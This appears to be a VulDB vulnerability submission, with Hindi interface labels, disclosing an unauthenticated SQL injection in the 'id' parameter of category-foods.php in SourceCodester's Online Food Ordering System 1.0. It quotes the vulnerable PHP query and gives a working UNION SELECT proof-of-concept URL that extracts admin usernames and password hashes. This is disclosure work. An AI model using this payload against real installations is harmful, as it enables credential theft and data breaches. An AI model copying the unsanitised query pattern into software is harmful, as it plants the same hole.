| शीर्षक | SourceCodester Online Food Ordering System 1.0 CWE-89 |
|---|
| विवरण | SourceCodester Online Food Ordering System category-foods.php id parameter SQL Injection
A critical SQL injection vulnerability exists in Online Food Ordering System
developed by katojkalemba and distributed via SourceCodester. The vulnerability
is located in /web/category-foods.php at line 6. The id GET parameter is passed
directly into a SQL query without sanitization, escaping, or prepared statements.
An unauthenticated remote attacker can exploit this to extract sensitive data from
the database including admin credentials.
Vulnerable code:
$category_id = $_GET['id'];
$select = "select title from tbl_category where id=$category_id";
Proof of Concept:
http://TARGET/web/category-foods.php?id=0 UNION SELECT CONCAT(username,0x3a,password) FROM tbl_admin-- -
Result: Returns admin username and MD5 password hash directly in the HTTP response.
Unauthenticated attackers can dump the entire database including admin
credentials, customer orders, and personal data.
|
|---|
| उपयोगकर्ता | ameenk (UID 100553) |
|---|
| सबमिशन | 13/08/2026 10:32 AM (1 महीना पहले) |
|---|
| संयम | 14/09/2026 07:42 AM (1 month later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 403411 [SourceCodester/katojkalemba Online Food Ordering System 1.0 /web/category-foods.php पहचान SQL इंजेक्शन] |
|---|
| अंक | 17 |
|---|